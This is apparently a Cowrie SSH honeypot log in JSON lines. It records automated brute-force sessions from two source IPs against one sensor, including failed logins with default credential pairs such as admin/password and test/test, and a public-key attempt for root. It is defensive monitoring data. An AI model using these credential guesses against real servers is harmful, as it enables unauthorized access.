{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:22.704485Z","src_ip":"91.92.42.227","session":"55673ddc4a00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:22.707450Z","src_ip":"91.92.42.227","session":"55673ddc4a00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:26.319677Z","src_ip":"91.92.42.227","session":"55673ddc4a00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:28.209475Z","src_ip":"91.92.42.227","session":"55673ddc4a00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49992,"dst_ip":"10.17.0.5","dst_port":22,"session":"95ab02a70fa2","protocol":"ssh","message":"New connection: 91.92.42.227:49992 (10.17.0.5:22) [session: 95ab02a70fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:28.789980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:29.485064Z","src_ip":"91.92.42.227","session":"95ab02a70fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:29.489805Z","src_ip":"91.92.42.227","session":"95ab02a70fa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:33.458184Z","src_ip":"91.92.42.227","session":"95ab02a70fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:35.389109Z","src_ip":"91.92.42.227","session":"95ab02a70fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51994,"dst_ip":"10.17.0.5","dst_port":22,"session":"25d583ca475d","protocol":"ssh","message":"New connection: 91.92.42.227:51994 (10.17.0.5:22) [session: 25d583ca475d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:35.514282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:36.282983Z","src_ip":"91.92.42.227","session":"25d583ca475d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:36.285949Z","src_ip":"91.92.42.227","session":"25d583ca475d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:40.940401Z","src_ip":"91.92.42.227","session":"25d583ca475d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52058,"dst_ip":"10.17.0.5","dst_port":22,"session":"19bcdbee09c0","protocol":"ssh","message":"New connection: 91.92.42.227:52058 (10.17.0.5:22) [session: 19bcdbee09c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:41.890416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:42.842074Z","src_ip":"91.92.42.227","session":"19bcdbee09c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:42.846441Z","src_ip":"91.92.42.227","session":"19bcdbee09c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:42.964487Z","src_ip":"91.92.42.227","session":"25d583ca475d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"12345678","message":"login attempt [alex/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:47.874055Z","src_ip":"91.92.42.227","session":"19bcdbee09c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47228,"dst_ip":"10.17.0.5","dst_port":22,"session":"721f50f0e508","protocol":"ssh","message":"New connection: 91.92.42.227:47228 (10.17.0.5:22) [session: 721f50f0e508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:48.742557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:49.651990Z","src_ip":"91.92.42.227","session":"721f50f0e508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:49.655021Z","src_ip":"91.92.42.227","session":"721f50f0e508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:49.850810Z","src_ip":"91.92.42.227","session":"19bcdbee09c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:54.884451Z","src_ip":"91.92.42.227","session":"721f50f0e508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:56.460443Z","src_ip":"91.92.42.227","session":"721f50f0e508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38974,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac5e973c5959","protocol":"ssh","message":"New connection: 91.92.42.227:38974 (10.17.0.5:22) [session: ac5e973c5959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:57.002330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:57.355724Z","src_ip":"91.92.42.227","session":"ac5e973c5959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:57.360864Z","src_ip":"91.92.42.227","session":"ac5e973c5959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:33:59.625061Z","src_ip":"91.92.42.227","session":"ac5e973c5959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:01.419518Z","src_ip":"91.92.42.227","session":"ac5e973c5959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39026,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4fc9d03c87c","protocol":"ssh","message":"New connection: 91.92.42.227:39026 (10.17.0.5:22) [session: b4fc9d03c87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:04.399042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:04.565472Z","src_ip":"91.92.42.227","session":"b4fc9d03c87c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:04.568463Z","src_ip":"91.92.42.227","session":"b4fc9d03c87c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"root","message":"login attempt [bot/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:06.148781Z","src_ip":"91.92.42.227","session":"b4fc9d03c87c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:07.605019Z","src_ip":"91.92.42.227","session":"b4fc9d03c87c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.107","src_port":47090,"dst_ip":"10.17.0.5","dst_port":22,"session":"10467857ca66","protocol":"ssh","message":"New connection: 208.87.242.107:47090 (10.17.0.5:22) [session: 10467857ca66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.176988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.181772Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.249997Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:74:65:4d:e8:19:1f:3a:cc:be:6f:39:4a:5e:17:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6EBtNv42TRsu8SoTOHyqbJWRdUAINFTF4PcgxpiaWxKEhiTBQ1hRDSvtv5p+Zhh6GhNoOYGs6tyYVt5HcvWRMLZiNOjBdsZDAY3Q5qj+du0aXiMGAKpQSBPU1pW9fymNjhmjcbWUuav0l0elIHggI2DBT4Iw5j9oHuaSVtIKWg/A87EjxU9H/6CWCtB+RRTjCq3/i1q39St2hfKcE3MAAiZVjqOlIgBGgs5c99wCJ+QpEgi/+gzlu+kvXEu5+mF9yEgi8vNfQnZgCgqcrBPWYq5mS3dcKIQ/pkI4q2xqrg9kpiT5K8foPtpaEQYcpc7jeipuHE4FMfK7oca7g07/B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:74:65:4d:e8:19:1f:3a:cc:be:6f:39:4a:5e:17:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:34:10.570689Z","src_ip":"208.87.242.107","session":"10467857ca66","protocol":"ssh"}
